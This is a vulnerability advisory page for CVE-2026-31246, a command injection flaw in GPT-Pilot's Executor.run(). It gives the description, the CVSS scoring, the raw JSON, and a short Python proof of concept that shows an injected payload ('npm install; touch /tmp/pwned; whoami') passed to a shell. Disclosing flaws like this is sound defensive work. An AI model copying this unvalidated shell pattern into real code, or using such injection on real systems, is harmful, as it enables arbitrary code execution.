Security Vulnerability Report
中文
CVE-2026-31246 CVSS 6.5 MEDIUM

CVE-2026-31246

Published: 2026-05-11 16:17:30
Last Modified: 2026-05-13 15:47:36

Description

GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GPT-Pilot <= commit 0819827ce20346ef5f25b3fe29293cb448840565

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio # Simulate the vulnerable Executor.run() logic async def vulnerable_executor(user_input): # Vulnerability: Directly passing user input to shell without validation print(f"[VULN] Executing command: {user_input}") proc = await asyncio.create_subprocess_shell(user_input) stdout, stderr = await proc.communicate() print(f"[VULN] Output: {stdout.decode()}") # PoC: Injecting malicious command # Scenario: User is prompted to confirm a command, e.g., 'npm install' # Attacker provides input: 'npm install; touch /tmp/pwned; whoami' malicious_payload = "npm install; touch /tmp/pwned; whoami" # Execute the PoC print("--- Starting PoC for CVE-2026-31246 ---") asyncio.run(vulnerable_executor(malicious_payload))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31246", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:29.623", "lastModified": "2026-05-13T15:47:35.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/Pythagora-io/gpt-pilot", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31246-35d1e1393188812ea3c6c88ad28d3d57", "source": "[email protected]"}]}}